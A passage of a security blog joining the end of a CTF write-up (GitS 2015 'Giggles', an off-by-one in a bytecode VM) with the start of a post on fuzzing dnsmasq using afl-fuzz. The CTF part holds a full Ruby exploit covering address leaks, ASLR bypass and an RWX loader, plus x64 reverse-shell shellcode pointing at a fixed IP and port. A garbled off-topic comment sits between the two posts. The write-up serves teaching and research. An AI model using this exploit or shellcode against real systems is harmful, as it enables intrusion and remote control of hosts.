                    else if (bytecode[i].operand3 > NUM_REGISTERS)
                        return 0;
                    else if (bytecode[i].operand1 > n_ops)
                        return 0;
                    break;
                case OP_EXIT:
                    break;
                default:
                    return 0;
            }
        }
        return 1;
    }
    

    Notice how it checks every operation? It checks if the index is greater than the maximum value. That's an off-by-one error. Oops!

    Information leak

    There are actually a lot of small issues in this code. The first good one I noticed was actually that you can output one extra register. Here's what I mean (grab my exploit if you want to understand the API):

    def demo()
      s = TCPSocket.new(SERVER, PORT)
    
      ops = []
      ops << create_op(OP_OUT, 10)
      add(s, ops)
      verify(s, 0)
      result = execute(s, 0, [])
    
      pp result
    end
    

    The output of that operation is:
    "42fd35d8 "

    Which, it turns out, is a memory address that's right after a "call" function. A return address!? Can it be this easy!?

    It turns out that, no, it's not that easy. While I can read / write to that address, effectively bypasing ASLR, it turned out to be some left-over memory from an old call. I didn't even end up using that leak, either, I found a better one!

    The actual vulnerabilitiy

    After finding the off-by-one bug that let me read an extra register, I didn't really think much more about it. Later on, I came back to the verifyBytecode() function and noticed that the BR/BEQ/BGT instructions have the exact same bug! You can branch to the last instruction + 1, where it keeps running unverified memory as if it's bytecode!

    What comes after the last instruction in memory? Well, it turns out to be a whole bunch of zeroes (00 00 00 00...), then other functions you've added, verified or otherwise. An instruction is 26 bytes long in memory (two bytes for the opcode, and three 64-bit operands), and the instruction "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" actually maps to "add reg0, reg0", which is nice and safe to do over and over again (although it does screw up the value in reg0).

    Aligning the interpreter

    At this point, it got a bit complicated. Sure, I'd found a way to break out of the sandbox to run unverified code, but it's not as straight forward as you might think.

    The problem? The spacing of the different "functions" in memory (that is, groups of operations) aren't multiples of 26 bytes apart, thanks to headers, so if you break out of one function and into another, you wind up trying to execute bytecode that's somewhat offset.

    In other words, if your second function starts at address 0, the interpreter tries to run the bytecode at -12 (give or take). The bytecode at -12 just happens to be the number of instructions in the function, so the first opcode is actually equal to the number of operations (so if you have three operations in the function, the first operation will be opcode 3, or BEQ). Its operands are bits and pieces of the opcodes and operands. Basically, it's a big mess.

    To get this working, I wanted to basically just skip over that function altogether and run the third function (which would hopefully be a little better aligned). Basically, I wanted the function to do nothing dangerous, then continue on to the third function.

    Here's the code I ended up writing (sorry the formatting isn't great, check out the exploit I linked above to see it better):

    # This creates a valid-looking bytecode function that jumps out of bounds,
    # then a non-validated function that puts us in a more usable bytecode
    # escape
    def init()
      puts("[*] Connecting to #{SERVER}:#{PORT}")
      s = TCPSocket.new(SERVER, PORT)
      #puts("[*] Connected!")
    
      ops = []
    
      # This branches to the second instruction - which doesn't exist
      ops << create_op(OP_BR, 1)
      add(s, ops)
      verify(s, 0)
    
      # This little section takes some explaining. Basically, we've escaped the bytecode
      # interpreter, but we aren't aligned properly. As a result, it's really irritating
      # to write bytecode (for example, the code of the first operation is equal to the
      # number of operations!)
      #
      # Because there are 4 opcodes below, it performs opcode 4, which is 'mov'. I ensure
      # that both operands are 0, so it does 'mov reg0, reg0'.
      #
      # After that, the next one is a branch (opcode 1) to offset 3, which effectively
      # jumps past the end and continues on to the third set of bytecode, which is out
      # ultimate payload.
    
      ops = []
      # (operand = count)
      #                  |--|               |---|                                          <-- inst1 operand1 (0 = reg0)
      #                          |--------|                    |----|                      <-- inst1 operand2 (0 = reg0)
      #                                                                        |--|        <-- inst2 opcode (1 = br)
      #                                                                  |----|            <-- inst2 operand1
      ops << create_op(0x0000, 0x0000000000000000, 0x4242424242000000, 0x00003d0001434343)
      #                  |--|              |----|                                          <-- inst2 operand1
      ops << create_op(0x0000, 0x4444444444000000, 0x4545454545454545, 0x4646464646464646)
      # The values of these don't matter, as long as we still have 4 instructions
      ops << create_op(0xBBBB, 0x4747474747474747, 0x4848484848484848, 0x4949494949494949)
      ops << create_op(0xCCCC, 0x4a4a4a4a4a4a4a4a, 0x4b4b4b4b4b4b4b4b, 0x4c4c4c4c4c4c4c4c)
    
      # Add them
      add(s, ops)
    
      return s
    end
    

    The comments explain it pretty well, but I'll explain it again. :)

    The first opcode in the unverified function is, as I mentioned, equal to the number of operations. We create a function with 4 operations, which makes it a MOV instruction. Performing a MOV is pretty safe, especially since reg0 is already screwed up.

    The two operands to instruction 1 are parts of the opcodes and operands of the first function. And the opcode for the second instruction is part of third operand in the first operation we create. Super confusing!

    Effectively, this ends up running:

    mov reg0, reg0
    br 0x3d
    ; [bad instructions that get skipped]
    

    I'm honestly not sure why I chose 0x3d as the jump distance, I suspect it's just a number that I was testing with that happened to work. The instructions after the BR don't matter, so I just fill them in with garbage that's easy to recognize in a debugger.

    So basically, this function just does nothing, effectively, which is exactly what I wanted.

    Getting back in sync

    I hoped that the third function would run perfectly, but because of math, it still doesn't. However, the operation count no longer matters in the third function, which is good enough for me! After doing some experiments, I determined that the instructions are unaligned by 0x10 (16) bytes. If you pad the start with 0x10 bytes then add instructions as normal, they'll run completely unverified.

    To build the opcodes for the third function, I added a parameter to the add() function that lets you offset things:

    #[...]
      # We have to cleanly exit
      ops << create_op(OP_EXIT)
    
      # Add the list of ops, offset by 10 (that's how the math worked out)
      add(s, ops, 16)
    #[...]
    

    Now you can run entirely unverified bytecode instructions! That means full read/write/execute of arbitrary addresses relative to the base address of the registers array. That's awesome! Because the registers array is on the stack, we have read/write access relative to a stack address. That means you can trivially read/write the return address and leak addresses of the binary, libc, or anything you want. ASLR bypass and RIP control instantly!

    Leaking addresses

    There are two separate sets of addresses that need to be leaked. It turns out that even though ASLR is enabled, the addresses don't actually randomize between different connections, so I can leak addresses, reconnect, leak more addresses, reconnect, and run the exploit. It's not the cleanest way to solve the level, but it worked! If this didn't work, I could have written a simple multiplexer bytecode function that does all these things using the same function.

    I mentioned I can trivially leak the binary address and a stack address. Here's how:

    # This function leaks two addresses: a stack address and the address of
    # the binary image (basically, defeating ASLR)
    def leak_addresses()
      puts("[*] Bypassing ASLR by leaking stack/binary addresses")
      s = init()
    
      # There's a stack address at offsets 24/25
      ops = []
      ops << create_op(OP_OUT, 24)
      ops << create_op(OP_OUT, 25)
    
      # 26/27 is the return address, we'll use it later as well!
      ops << create_op(OP_OUT, 26)
      ops << create_op(OP_OUT, 27)
    
      # We have to cleanly exit
      ops << create_op(OP_EXIT)
    
      # Add the list of ops, offset by 10 (that's how the math worked out)
      add(s, ops, 16)
    
      # Run the code
      result = execute(s, 0, [])
    
      # The result is a space-delimited array of hex values, convert it to
      # an array of integers
      a = result.split(/ /).map { |str| str.to_i(16) }
    
      # Read the two values in and do the math to calculate them
      @@registers = ((a[1] << 32) | (a[0])) - 0xc0
      @@base_addr = ((a[3] << 32) | (a[2])) - 0x1efd
    
      # User output
      puts("[*] Found the base address of the register array: 0x#{@@registers.to_s(16)}")
      puts("[*] Found the base address of the binary: 0x#{@@base_addr.to_s(16)}")
    
      s.close
    end
    

    Basically, we output registers 24, 25, 26, and 27. Since the OUT function is 4 bytes, you have to call OUT twice to leak a 64-bit address.

    Registers 24 and 25 are an address on the stack. The address is 0xc0 bytes above the address of the registers variable (which is the base address of our overflow, and therefore needed for calculating offsets), so we subtract that. I determined the 0xc0 value using a debugger.

    Registers 26 and 27 are the return address of the current function, which happens to be 0x1efd bytes into the binary (determined with IDA). So we subtract that value from the result and get the base address of the binary.

    I also found a way to leak a libc address here, but since I never got a copy of libc I didn't bother keeping that code around.

    Now that we have the base address of the binary and the address of the registers, we can use the OUT and MOV operations, plus a little bit of math, to read and write anywhere in memory.

    Quick aside: getting enough sleep

    You may not know this, but I work through CTF challenges very slowly. I like to understand every aspect of everything, so I don't rush. My secret is, I can work tirelessly at these challenges until they're complete. But I'll never win a race.

    I got to this point at around midnight, after working nearly 10 hours on this challenge. Most CTFers will wonder why it took 10 hours to get here, so I'll explain again: I work slowly. :)

    The problem is, I forgot one very important fact: that the operands to each operation are all 64-bit values, even though the arguments and registers themselves are 32-bit. That means we can calculate an address from the register array to anywhere in memory. I thought they were 32 bit, however, and since the process is 64-bit Ii'd be able to read/write the stack, but not addresses the binary! That wasn't true, I could write anywhere, but I didn't know that. So I was trying a bunch of crazy stack stuff to get it working, but ultimately failed.

    At around 2am I gave up and played video games for an hour, then finished the book I was reading. I went to bed about 3:30am, still thinking about the problem. Laying in bed about 4am, it clicked in that register numbers could be 64-bit, so I got up and finished it up for about 7am. :)

    The moral of this story is: sometimes it pays to get some rest when you're struggling with a problem!

    +rwx memory!?

    The authors of the challenge must have been feeling extremely generous: they gave us a segment of memory that's readable, writeable, and executable! You can write code to it then run it! Here's where it's declared:

    void * JIT;     // TODO: add code to JIT functions
    
    //[...]
    
        /* Map 4096 bytes of executable memory */
        JIT = mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    

    A pointer to the memory is stored in a global variable. Since we have the ability to read an arbitrary address—once I realized my 64-bit problem—it was pretty easy to read the pointer:

    def leak_rwx_address()
      puts("[*] Attempting to leak the address of the mmap()'d +rwx memory...")
      s = init()
    
      # This offset is always constant, from the binary
      jit_ptr = @@base_addr + 0x20f5c0
    
      # Read both halves of the address - the read is relative to the stack-
      # based register array, and has a granularity of 4, hence the math
      # I'm doing here
      ops = []
      ops << create_op(OP_OUT, (jit_ptr - @@registers) / 4)
      ops << create_op(OP_OUT, ((jit_ptr + 4) - @@registers) / 4)
      ops << create_op(OP_EXIT)
      add(s, ops, 16)
      result = execute(s, 0, [])
    
      # Convert the result from a space-delimited hex list to an integer array
      a = result.split(/ /).map { |str| str.to_i(16) }
    
      # Read the address
      @@rwx_addr = ((a[1] << 32) | (a[0]))
    
      # User output
      puts("[*] Found the +rwx memory: 0x#{@@rwx_addr.to_s(16)}")
    
      s.close
    end
    
    

    Basically, we know the pointer to the JIT code is at the base_addr + 0x20f5c0 (determined with IDA). So we do some math with that address and the base address of the registers array (dividing by 4 because that's the width of each register).

    Finishing up

    Now that we can run arbitrary bytecode instructions, we can read, write, and execute any address. But there was one more problem: getting the code into the JIT memory.

    It seems pretty straight forward, since we can write to arbitrary memory, but there's a problem: you don't have any absolute values in the assembly language, which means I can't directly write a bunch of values to memory. What I could do, however, is write values from registers to memory, and I can set the registers by passing in arguments.

    BUT, reg0 gets messed up and two registers are wasted because I have to use them to overwrite the return address. That means I have 7 32-bit registers that I can use.

    What you're probably thinking is that I can implement a multiplexer in their assembly language. I could have some operands like "write this dword to this memory address" and build up the shellcode by calling the function multiple times with multiple arguments.

    If you're thinking that, then you're sharper than I was at 7am with no sleep! I decided that the best way was to write a shellcode loader in 24 bytes. I actually love writing short, custom-purpose shellcode, there's something satisfying about it. :)

    Here's my loader shellcode:

      # Create some loader shellcode. I'm not proud of this - it was 7am, and I hadn't
      # slept yet. I immediately realized after getting some sleep that there was a
      # way easier way to do this...
      params =
        # param0 gets overwritten, just store crap there
        "\x41\x41\x41\x41" +
    
        # param1 + param2 are the return address
        [@@rwx_addr & 0x00000000FFFFFFFF, @@rwx_addr >> 32].pack("II") +
    
        # ** Now, we build up to 24 bytes of shellcode that'll load the actual shellcode
    
        # Decrease ECX to a reasonable number (somewhere between 200 and 10000, doesn't matter)
        "\xC1\xE9\x10" +  # shr ecx, 10
    
        # This is where the shellcode is read from - to save a couple bytes (an absolute move is 10
        # bytes long!), I use r12, which is in the same image and can be reached with a 4-byte add
        "\x49\x8D\xB4\x24\x88\x2B\x20\x00" + # lea rsi,[r12+0x202b88]
    
        # There is where the shellcode is copied to - immediately after this shellcode
        "\x48\xBF" + [@@rwx_addr + 24].pack("Q") + # mov rdi, @@rwx_addr + 24
    
        # And finally, this moves the bytes over
        "\xf3\xa4" # rep movsb
    
      # Pad the shellcode with NOP bytes so it can be used as an array of ints
      while((params.length % 4) != 0)
        params += "\x90"
      end
    
      # Convert the shellcode to an array of ints
      params = params.unpack("I*")
    

    Basically, the first three arguments are wasted (the first gets messed up and the next two are the return address). Then we set up a call to "rep movsb", with rsi, rdi, and rcx set appropriately (and complicatedly). You can see how I did that in the comments. All told, it's 23 bytes of machine code.

    It took me a lot of time to get that working, though! Squeezing out every single byte! It basically copies the code from the next bytecode function (whose address I can calculate based on r12) to the address immediately after itself in the +RWX memory (which I can leak beforehand).

    This code is written to the +RWX memory using these operations:

      ops = []
    
      # Overwrite teh reteurn address with the first two operations
      ops << create_op(OP_MOV, 26, 1)
      ops << create_op(OP_MOV, 27, 2)
    
      # This next bunch copies shellcode from the arguments into the +rwx memory
      ops << create_op(OP_MOV, ((@@rwx_addr + 0) - @@registers) / 4, 3)
      ops << create_op(OP_MOV, ((@@rwx_addr + 4) - @@registers) / 4, 4)
      ops << create_op(OP_MOV, ((@@rwx_addr + 8) - @@registers) / 4, 5)
      ops << create_op(OP_MOV, ((@@rwx_addr + 12) - @@registers) / 4, 6)
      ops << create_op(OP_MOV, ((@@rwx_addr + 16) - @@registers) / 4, 7)
      ops << create_op(OP_MOV, ((@@rwx_addr + 20) - @@registers) / 4, 8)
      ops << create_op(OP_MOV, ((@@rwx_addr + 24) - @@registers) / 4, 9)
    

    Then I just convert the shellcode into a bunch of bytecode operators / operands, which will be the entirity of the fourth bytecode function (I'm proud to say that this code worked on the first try):

      # Pad the shellcode to the proper length
      shellcode = SHELLCODE
      while((shellcode.length % 26) != 0)
        shellcode += "\xCC"
      end
    
      # Now we create a new function, which simply stores the actual shellcode.
      # Because this is a known offset, we can copy it to the +rwx memory with
      # a loader
      ops = []
    
      # Break the shellcode into 26-byte chunks (the size of an operation)
      shellcode.chars.each_slice(26) do |slice|
        # Make the character array into a string
        slice = slice.join
    
        # Split it into the right proportions
        a, b, c, d = slice.unpack("SQQQ")
    
        # Add them as a new operation
        ops << create_op(a, b, c, d)
      end
    
      # Add the operations to a new function (no offset, since we just need to
      # get it stored, not run as bytecode)
      add(s, ops, 16)
    

    And, for good measure, here's my 64-bit connect-back shellcode:

    # Port 17476, chosen so I don't have to think about endianness at 7am at night :)
    REVERSE_PORT = "\x44\x44"
    
    # 206.220.196.59
    REVERSE_ADDR = "\xCE\xDC\xC4\x3B"
    
    # Simple reverse-tcp shellcode I always use
    SHELLCODE = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" +
    "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" +
    "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" +
    "\x02" + REVERSE_PORT + "\xc7\x44\x24\x04" + REVERSE_ADDR + "\x48\x89\xe6\x6a\x10" +
    "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" +
    "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" +
    "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" +
    "\x5f\x6a\x3b\x58\x0f\x05"
    
    

    It's slightly modified from some code I found online. I'm mostly just including it so I can find it again next time I need it. :)

    Conclusion

    To summarize everything...

    There was an off-by-one vulnerability in the verifyBytecode() function. I used that to break out of the sandbox and run unverified bytecode.

    That bytecode allowed me to read/write/execute arbitrary memory. I used it to leak the base address of the binary, the base address of the register array (where my reads/writes are relative to), and the address of some +RWX memory.

    I copied loader code into that +RWX memory, then ran it. It copied the next bytecode function, as actual machine code, to the +RWX memory.

    Then I got a shell.

    Hope that was useful!

    One thought on “GitS 2015: Giggles (off-by-one virtual machine)

    1. Reply

      al(l)exk(1)

      Shouldn't the jump (or "hop") in the initial hex "w32dasm" program on the 'eax' went through to the F000000484 memory slot, instead of the F0000009135, as it did. Luckily...!?

      Don't quite understand the logic behind the 'psy9020*' which is entered when trying to register after the 11th repetition of the binary EGI, which is not really of importance to the Owner of the Code, plus -- why whould you PWN the green and red before even considering that yellow rules the tunnelling... if we are debugging AT&T, for example. Sorry, little of topic.

      I guess, the difference, is getting bigger and greater, instead of balancing the inequality, which is LONG OVERDUE... nor public -- nor private!?!?!

      -- Alexander

      P.S. "Hi, to all the little N*i*n*j*a*Z out there!

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### How I nearly almost saved the Internet, starring afl-fuzz and dnsmasq » SkullSecurity


    How I nearly almost saved the Internet, starring afl-fuzz and dnsmasq

    If you know me, you know that I love DNS. I'm not exactly sure how that happened, but I suspect that Ed Skoudis is at least partly to blame.

    Anyway, a project came up to evaluate dnsmasq, and being a DNS server - and a key piece of Internet infrastructure - I thought it would be fun! And it was! By fuzzing in a somewhat creative way, I found a really cool vulnerability that's almost certainly exploitable (though I haven't proven that for reasons that'll become apparent later).

    Although I started writing an exploit, I didn't finish it. I think it's almost certainly exploitable, so if you have some free time and you want to learn about exploit development, it's worthwhile having a look! Here's a link to the actual distribution of a vulnerable version, and I'll discuss the work I've done so far at the end of this post.

    You can also download my branch, which is similar to the vulnerable version (branched from it), the only difference is that it contains a bunch of fuzzing instrumentation and debug output around parsing names.

    dnsmasq

    For those of you who don't know, dnsmasq is a service that you can run that handles a number of different protocols designed to configure your network: DNS, DHCP, DHCP6, TFTP, and more. We'll focus on DNS - I fuzzed the other interfaces and didn't find anything, though when it comes to fuzzing, absence of evidence isn't the same as evidence of absence.

    It's primarily developed by a single author, Simon Kelley. It's had a reasonably clean history in terms of vulnerabilities, which may be a good thing (it's coded well) or a bad thing (nobody's looking) :)

    At any rate, the author's response was impressive. I made a little timeline:

    • May 12, 2015: Discovered
    • May 14, 2015: Reported to project
    • May 14, 20252015: Project responded with a patch candidate
    • May 15, 2015: Patch committed

    The fix was actually pushed out faster than I reported it! (I didn't report for a couple days because I was trying to determine how exploitable / scary it actually is - it turns out that yes, it's exploitable, but no, it's not scary - we'll get to why at the end).

    DNS - the important bits

    The vulnerability is in the DNS name-parsing code, so it makes sense to spend a little time making sure you're familiar with DNS. If you're already familiar with how DNS packets and names are encoded, you can skip this section.

    Note that I'm only going to cover the parts of DNS that matter to this particular vulnerability, which means I'm going to leave out a bunch of stuff. Check out the RFCs (rfc1035, among others) or Wikipedia for complete details. As a general rule, I encourage everybody to learn enough to manually make requests to DNS servers, because that's an important skill to have - plus, it's only like 16 bytes to remember. :)

    DNS, at its core, is actually rather simple. A client wants to look up a hostname, so it sends a DNS packet containing a question to a DNS server (on UDP port 53, normally, but TCP can be used as well). Some magic happens, involving caches and recursion, then the server replies with a DNS message containing the original question, and zero or more answers.

    DNS packet structure

    The structure of a DNS packet is:

    • (int16) transaction id (trn_id)
    • (int16) flags (which include QR [query/response], opcode, RD [recursion desired], RA [recursion available], and probably other stuff that I'm forgetting)
    • (int16) question count (qdcount)
    • (int16) answer count (ancount)
    • (int16) authority count (nscount)
    • (int16) additional count (arcount)
    • (variable) questions
    • (variable) answers
    • (variable) authorities
    • (variable) additionals

    The last four fields - questions, answers, authorities, and additionals - are collectively called "resource records". Resource records of different types have different properties, but we aren't going to worry about that. The general structure of a question record is:

    • (variable) name (the important part!)
    • (int16) type (A/AAAA/CNAME/etc.)
    • (int16) class (basically always 0x0001, for Internet addresses)

    DNS names

    Questions and answers typically contain a domain name. A domain name, as we typically see it, looks like:

    this.is.a.name.skullseclabs.org

    But in a resource records, there aren't actually any periods, instead, each field is preceded by its length, with a null terminator (or a zero-length field) at the end:

    \x04this\x02is\x01a\x04name\x0cskullseclabs\x03org\x00

    The maximum length of a field is 63 - 0x3f - bytes. If a field starts with 0x40, 0x80, 0xc0, and possibly others, it has a special meaning (we'll get to that shortly).

    Questions and answers

    When you send a question to a DNS server, the packet looks something like:

    • (header)
    • question count = 1
    • question 1: ANY record for skullsecurity.org?

    and the response looks like:

    • (header)
    • question count = 1
    • answer count = 11
    • question 1: ANY record for "skullsecurity.org"?
    • answer 1: "skullsecurity.org" has a TXT record of "oh hai NSA"
    • answer 2: "skullsecurity.org" has a MX record for "ASPMX.L.GOOGLE.com".
    • answer 3: "skullsecurity.org" has a A record for "206.220.196.59"
    • ...

    (yes, those are some of my real records :) )

    If you do the math, you'll see that "skullsecurity.org" takes up 18 bytes, and would be included in the response packet 12 times, counting the question, which means we're effectively wasting 18 * 11 or close to 200 bytes. In the old days, 200 bytes were a lot. Heck, in the new days, 200 bytes are still a lot when you're dealing with millions of requests.

    Record pointers

    Remember how I said that name fields starting with numbers above 63 - 0x3f - are special? Well, the one we're going to pay attention to is 0xc0.

    0xc0 effectively means, "the next byte is a pointer, starting from the first byte of the packet, to where you can find the rest of the name".

    So typically, you'll see:

    • 12-bytes header (trn_id + flags + counts)
    • question 1: ANY record for "skullsecurity.org"
    • answer 1: \xc0\x0c has a TXT record of "oh hai NSA"
    • answer 2: \xc0\x0c ...

    "\xc0" indicates a pointer is coming, and "\x0c" says "look 0x0c (12) bytes from the start of the packet", which is immediately after the header. You can also use it as part of a domain name, so your answer could be "\x03www\xc0\x0c", which would become "www.skullsecurity.org" (assuming that string was 12 bytes from the start).

    This is only mildly relevant, but a common problem that DNS parsers (both clients and servers) have to deal with is the infinite loop attack. Basically, the following packet structure:

    • 12-byte header
    • question 1: ANY record for "\xc0\x0c"

    Because question 1 is self-referential, it reads itself over and over and the name never finishes parsing. dnsmasq solves this by limiting reference to 256 hops - that decision prevents a denial-of-service attack, but it's also what makes this vulnerability likely exploitable. :)

    Setting up the fuzz

    All right, by now we're DNS experts, right? Good, because we're going to be building a DNS packet by hand right away!

    Before we get to the actual vulnerability, I want to talk about how I set up the fuzzing. Being a networked application, it makes sense to use a network fuzzer; however, I really wanted to try out afl-fuzz from lcamtuf, which is a file-format fuzzer.

    afl-fuzz works as an intelligent file-format fuzzer that will instrument the executable (either by specially compiling it or using binary analysis) to determine whether or not it's hitting "new" code on each execution. It optimizes each cycle to take advantage of all the new code paths it's found. It's really quite cool!

    Unfortunately, DNS doesn't use files, it uses packets. But because the client and server each process only one single packet at a time, I decided to modify dnsmasq to read a packet from a file, parse it (either as a request or a response), then exit. That made it possible to fuzz with afl-fuzz.

    Unfortunately, that was actually pretty non-trivial. The parsing code and networking code were all mixed together. I ended up re-implementing "recv_msg()" and "recv_from()", among other things, and replacing their calls to those functions. That could also be done with a LD_PRELOAD hook, but because I had source that wasn't necessary. If you want to see the changes I made to make it possible to fuzz, you can search the codebase for "#ifdef FUZZ" - I made the fuzzing stuff entirely optional.

    If you want to follow along, you should be able to reproduce the crash with the following commands (I'm on 64-bit Linux, but I don't see why it wouldn't work elsewhere):

    $ git clone https://github.com/iagox86/dnsmasq-fuzzing
    Cloning into 'dnsmasq-fuzzing'...
    [...]
    $ cd dnsmasq-fuzzing/
    $ CFLAGS=-DFUZZ make -j10
    [...]
    $ ./src/dnsmasq -d --randomize-port --client-fuzz fuzzing/crashes/client-heap-overflow-1.bin
    dnsmasq: started, version  cachesize 150
    dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth DNSSEC loop-detect inotify
    dnsmasq: reading /etc/resolv.conf
    [...]
    Segmentation fault
    

    Warning: DNS is recursive, and in my fuzzing modifications I didn't disable the recursive requests. That means that dnsmasq will forward some of your traffic to upstream DNS servers, and that traffic could impact those severs (and I actually proved that, by accident; but we won't get into that :) ).

    Doing the actual fuzzing

    Once you've set up the program to be fuzzable, fuzzing it is actually really easy.

    First, you need a DNS request and response - that way, we can fuzz both sides (though ultimately, we don't need to for this particular vulnerability, since both the request and response parse names).

    If you've wasted your life like I have, you can just write the request by hand and send it to a server, then capture the response:

    $ mkdir -p fuzzing/client/input/
    $ mkdir -p fuzzing/client/output/
    $ echo -ne "\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x06google\x03com\x00\x00\x01\x00\x01" > fuzzing/client/input/request.bin
    $ mkdir -p fuzzing/server/input/
    $ mkdir -p fuzzing/server/output/
    $ cat request.bin | nc -vv -u 8.8.8.8 53 > fuzzing/server/input/response.bin
    

    To break down the packet, in case you're curious

    • "\x12\x34" - trn_id - just a random number
    • "\x01\x00" - flags - I think that flag is RD - recursion desired
    • "\x00\x01" - qdcount = 1
    • "\x00\x00" - ancount = 0
    • "\x00\x00" - nscount = 0
    • "\x00\x00" - arcount = 0
    • "\x06google\x03com\x00" - name = "google.com"
    • "\x00\x01" - type = A record
    • "\x00\x01" - class = IN (Internet)

    You can verify it's working by hexdump'ing the response:

    $ hexdump -C response.bin
    00000000  12 34 81 80 00 01 00 0b  00 00 00 00 06 67 6f 6f  |.4...........goo|
    00000010  67 6c 65 03 63 6f 6d 00  00 01 00 01 c0 0c 00 01  |gle.com.........|
    00000020  00 01 00 00 01 2b 00 04  ad c2 21 67 c0 0c 00 01  |.....+....!g....|
    00000030  00 01 00 00 01 2b 00 04  ad c2 21 66 c0 0c 00 01  |.....+....!f....|
    00000040  00 01 00 00 01 2b 00 04  ad c2 21 69 c0 0c 00 01  |.....+....!i....|
    00000050  00 01 00 00 01 2b 00 04  ad c2 21 68 c0 0c 00 01  |.....+....!h....|
    00000060  00 01 00 00 01 2b 00 04  ad c2 21 63 c0 0c 00 01  |.....+....!c....|
    00000070  00 01 00 00 01 2b 00 04  ad c2 21 61 c0 0c 00 01  |.....+....!a....|
    00000080  00 01 00 00 01 2b 00 04  ad c2 21 6e c0 0c 00 01  |.....+....!n....|
    00000090  00 01 00 00 01 2b 00 04  ad c2 21 64 c0 0c 00 01  |.....+....!d....|
    000000a0  00 01 00 00 01 2b 00 04  ad c2 21 60 c0 0c 00 01  |.....+....!`....|
    000000b0  00 01 00 00 01 2b 00 04  ad c2 21 65 c0 0c 00 01  |.....+....!e....|
    000000c0  00 01 00 00 01 2b 00 04  ad c2 21 62              |.....+....!b|
    

    Notice how it starts with "\x12\x34" (the same transaction id I sent), has a question count of 1, has an answer count of 0x0b (11), and contains "\x06google\x03com\x00" 12 bytes in (that's the question). That's basically what we discussed earlier. But the important part is, it has "\xc0\x0c" throughout. In fact, every answer starts with "\xc0\x0c", because every answer is to the first and only question.

    That's exactly what I was talking about earlier - each of those 11 instances of "\xc0\x0c" saved about 10 bytes, so the packet is 110 bytes shorter than it would otherwise have been.

    Now that we have a base case for both the client and the server, we can compile the binary with afl-fuzz's instrumentation. Obviously, this command assumes that afl-fuzz is stored in "~/tools/afl-1.77b" - change as necessary. If you're trying to compile the original code, it doesn't accept CC= or CFLAGS= on the commandline unless you apply this patch first.

    Here's the compile command:

    $ CC=~/tools/afl-1.77b/afl-gcc CFLAGS=-DFUZZ make -j20
    

    and run the fuzzer:

    $ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/client/input/ -o fuzzing/client/output/ ./dnsmasq --client-fuzz=@@
    

    you can simultaneously fuzz the server, too, in a different window:

    $ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/server/input/ -o fuzzing/server/output/ ./dnsmasq --server-fuzz=@@
    

    then let them run a few hours, or possibly overnight.

    For fun, I ran a third instance:

    $ mkdir -p fuzzing/hello/input
    $ echo "hello" > fuzzing/hello/input/hello.bin
    $ mkdir -p fuzzing/hello/output
    $ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/fun/input/ -o fuzzing/fun/output/ ./dnsmasq --server-fuzz=@@
    

    ...which, in spite of being seeded with "hello" instead of an actual DNS packet, actually found an order of magnitude more crashes than the proper packets, except with much, much uglier proofs of concept.. :)

    Fuzz results

    I let this run overnight, specifically to re-create the crashes for this blog. In the morning (after roughly 20 hours of fuzzing), the results were:

    • 7 crashes starting with a well formed request
    • 10 crashes starting from a well formed response
    • 93 crashes starting from "hello"

    You can download the base cases and results here, if you want.

    Triage

    Although we have over a hundred crashes, I know from experience that they're all caused by the same core problem. But not knowing that, I need to pick something to triage! The difference between starting from a well formed request and starting from a "hello" string is noticeable... to take the smallest PoC from "hello", we have:

    crashes $ hexdump -C id\:000024\,sig\:11\,src\:000234+000399\,op\:splice\,rep\:16
    00000000  68 00 00 00 00 01 00 02  e8 1f ec 13 07 06 e9 01  |h...............|
    00000010  67 02 e8 1f c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |g...............|
    00000020  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
    00000030  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 b8 c0 c0 c0 c0 c0  |................|
    00000040  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
    00000050  c0 c0 c0 c0 c0 c0 c0 c0  c0 af c0 c0 c0 c0 c0 c0  |................|
    00000060  c0 c0 c0 c0 cc 1c 03 10  c0 01 00 00 02 67 02 e8  |.............g..|
    00000070  1f eb ed 07 06 e9 01 67  02 e8 1f 2e 2e 10 2e 2e  |.......g........|
    00000080  00 07 2e 2e 2e 2e 00 07  01 02 07 02 02 02 07 06  |................|
    00000090  00 00 00 00 7e bd 02 e8  1f ec 07 07 01 02 07 02  |....~...........|
    000000a0  02 02 07 06 00 00 00 00  02 64 02 e8 1f ec 07 07  |.........d......|
    000000b0  06 ff 07 9c 06 49 2e 2e  2e 2e 00 07 01 02 07 02  |.....I..........|
    000000c0  02 02 05 05 e7 02 02 02  e8 03 02 02 02 02 80 c0  |................|
    000000d0  c0 c0 c0 c0 c0 c0 c0 c0  c0 80 1c 03 10 80 e6 c0  |................|
    000000e0  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
    000000f0  c0 c0 c0 c0 c0 c0 b8 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
    00000100  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
    00000110  c0 c0 c0 c0 c0 af c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
